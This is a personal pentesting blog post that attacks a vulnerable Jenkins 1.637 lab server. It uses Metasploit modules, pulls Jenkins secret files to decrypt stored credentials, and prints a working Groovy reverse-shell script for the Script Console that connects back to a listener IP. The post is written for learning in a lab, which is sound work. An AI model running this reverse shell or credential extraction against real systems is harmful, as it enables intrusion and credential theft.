Exploiting Jenkins

by Vince
in Blog
Hits: 2474

I can't say that I've encountered Jenkins much in the real world but when I worked with large groups of developers they worked independently of each other and Jenkins probably could have helped with that problem but I digress -- that is no longer my world.  

I've heard Jenkins mentioned in the context of pentesting larger organizations and I have two impressions:  First, it's discovered frequently.  Second, it's a sitting duck.  I don't know either to be true but I've wanted to get familiar with it.  I've seen it a few times but not in a situation where I could get a solid foothold. 

Quick sidebar -- I met a red teamer who said he wanted to go through every single exploit in Metasploit to see how it worked.  I understand that concept and this is basically what I'm doing here.  Attack as many things as you can find, become familiar with how they work, and add that knowledge to your toolbox.  It will aid you in pentesting and it will also aid you in securing these applications when you come across them.

I finally found a vulnerable version of Jenkins, version 1.637, and I wanted to work through every angle -- even if some are redundant.

In no particular order, I start off with a Metasploit auxiliary module:  scanner/http/jenkins_command

Fairly self-explanatory -- give it a command, point it to the server, and go.  Options setup:




This is a windows box and I'm executing the command "net users":




Moving on to credentials, I've already rooted this box but the goal is to explore as many avenues as possible.  Maybe I end up in a situation where I'm not on the box but I do discover an LFI vulnerability.  

Using a publicly available Python script, I attempt to decrypt the Jenkins hash.  

First, we need to retrieve credentials.xml:




Note the \\ versus what happens when it downloads.  From the Rapid7 web site:  "The download command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path."

I don't ask, I just do.  

Retrieving master.key:


"

And last, retrieving hudson.util.Secret:




decrypt.py can be found here:  https://github.com/tweksteen/jenkins-decrypt/blob/master/decrypt.py

Not my script, states it's Python3 but breaks with either Python2 or Python3:




If you comment out the line and replace it with what I've shown below:





We have a working version with Python2 and when we run it:




We crack the hash. 

We can also use Metaploit:




Continuing on with Metasploit, we move to multi/http/jenkins_xstream_deserialize.  I'll admit -- I've been hammering on this box from a number of directions without resetting it.  Perhaps it's gone sideways but I don't think so.  This particular avenue didn't want to work until I gave it the explicit path of Powershell.exe and also with this specific payload.  

Maybe it works in different configurations but I couldn't get it to pop until I hit it with this configuration.  The double backslash rule applies here as well when using set PSH_PATH, it reflects what you would expect to see.





Last but not least, we're going to get a reverse shell through the Script Console.  From the main page, we select Manage Jenkins:





Script Console:





Not my code:

String host="192.168.90.35";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),
pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());
so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


We toss that into the console box:




Catching our shell:




This is just one version of Jenkins but at least I feel somewhat familiar with it now and if I encounter it elsewhere, it won't seem so foreign to me.  

Now here's where you'd think I'd end and that was initially my plan but I was curious about securing the UI.  I hadn't planned on writing about it, I was just curious for my own sake.  

I select:




And we are presented with this message at which point, we can choose "Setup Security":





We select "Enable security":





And I configure these options as best I can understand by hitting the little question marks to the right of each:





Take note that I did not check "Allow users to sign up", despite that, when I hit save, I'm presented with:





I setup an account and I'm automatically logged in:





That being said, I've lost some of the privileges I had previously.  I log out and I attempt to login as the admin:





This is quite confusing to me as I assumed my username was admin.  I hunt around and I'm not really getting anywhere but I do discover a way to solve this issue with a line change in:

C:\Windows\ServiceProfiles\LocalService\.jenkins\config.xml

The original states "true" and we are just flipping it to "false":





Now we need to restart the service:





When the service completely restarts, we are back where we started and when I go back into the Global credentials, I see this:





Perhaps this is the cause of our failed login?  I don't have time right now to figure it out but we do have yet another way of exploiting this box through config.xml.  

I'm now left feeling like I understand why Jenkins is a problem -- it's buggy, it's not intuitive, and I could see an admin putting this application on the network but thinking administrative changes could end with unintended issues.  "Let's just leave it wide open on the network."